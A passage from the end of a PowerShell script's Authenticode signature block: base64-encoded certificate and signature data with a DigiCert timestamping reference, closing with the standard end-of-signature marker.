# dBs9thbX979XB72arKGHLOyFXqkauyL4hxppVCLtpIh3bb0aFPQTSnovLbc47/T/
# gLn4offyct4kvFIDyE7QKt76LVbP+fT3rDB6mouyXtTP0UNEm0Mh65ZyoUi0mcud
# T6cGAxN3J0TU53/oWajwvy8LpunyNDzs9wPHh6jSTEAZNUZqaVSwuKFWjuyk1T3o
# sdz9HNj0d1pcVIxv76FQPfx2CWiEn2/K2yCNNWAcAgPLILCsWKAOQGPFmCLBsln1
# VWvPJ6tsds5vIy30fnFqI2si/xK4VC0nftg62fC2h5b9W9FcrBjDTZ9ztwGpn1eq
# XijiuZQxggN2MIIDcgIBATB3MGMxCzAJBgNVBAYTAlVTMRcwFQYDVQQKEw5EaWdp
# Q2VydCwgSW5jLjE7MDkGA1UEAxMyRGlnaUNlcnQgVHJ1c3RlZCBHNCBSU0E0MDk2
# IFNIQTI1NiBUaW1lU3RhbXBpbmcgQ0ECEAVEr/OUnQg5pr/bP1/lYRYwDQYJYIZI
# AWUDBAIBBQCggdEwGgYJKoZIhvcNAQkDMQ0GCyqGSIb3DQEJEAEEMBwGCSqGSIb3
# DQEJBTEPFw0yMzEyMjcwMTIzMTVaMCsGCyqGSIb3DQEJEAIMMRwwGjAYMBYEFGbw
# KzLCwskPgl3OqorJxk8ZnM9AMC8GCSqGSIb3DQEJBDEiBCCXgHx6EomNiQwryoY1
# XR1bufX0lrcoaQvyuc37k9g8GzA3BgsqhkiG9w0BCRACLzEoMCYwJDAiBCDS9uRt
# 7XQizNHUQFdoQTZvgoraVZquMxavTRqa1Ax4KDANBgkqhkiG9w0BAQEFAASCAgBu
# 4SiUwKxd70FmuHjvbbFeZdBjCBtUL4S0AWPFMlu7Ns8Si5SBEMM3QnNWIhCWBtDk
# NAznm98TMaXasUwzgQZ+4J7tgFr1g8ghB2BoaoWJxpaBiiMGKjNZ0+0xaAr4CyJx
# rEWrqBci58yRU5JeSIQtZiIFIbNrMWzo/9M+xD6or58ZGIHOdQkF55c0GtXu9sw/
# Wa0RvdA8XptXaqzVIaxR9i5vC2VFrspx1MPEYQzKoCxloiW1/2KYvTJvJ2D5Texj
# DLvJgCPO1Vve0OtEEkBmK94VA/TEdzm8uUAS7dWDgA0TqZc3c+Ob8T3Z3Bftxw5u
# vQnKsT0zXCi3pRUOCPZLH2yeR8f1lISxIRvj4SETCWLVWii9db3qEqq0G6Qqxiy3
# cPTp77W1MISrd2QzEUcTnNJI47uTkB0bCFYiAbJvLoQbvRKa/72nLeeP8kRgG1MN
# lE1lQYdfa+SwJcJJ3awiz5D4z8UXDM80Y6hOoU1JceEuREovEgHsDthT51xa1lwG
# xNergugXNWhNhwrR81VR35apx8tdo5HTOFjC9OJOv0n8FmKEGGODV20eWFdRInkq
# HXnFnZZnhs4t7fM+LYnyPWUgRui5Eq4jVeGOyPkMOaWFD7oO280BXaKwFXMH3aBW
# fn+O3IS1M4O0DPffANpDHR/g4c2UjITH9agdhPdiJg==
# SIG # End signature block